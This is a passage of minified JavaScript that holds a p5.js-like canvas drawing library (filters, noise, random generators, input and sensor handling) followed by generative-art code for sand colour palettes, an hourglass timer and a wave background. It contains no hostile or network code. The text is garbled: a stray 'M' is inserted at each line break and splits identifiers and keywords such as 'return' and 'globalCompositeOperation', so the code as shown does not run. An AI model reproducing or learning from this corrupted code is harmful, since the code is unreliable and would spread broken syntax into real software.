+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
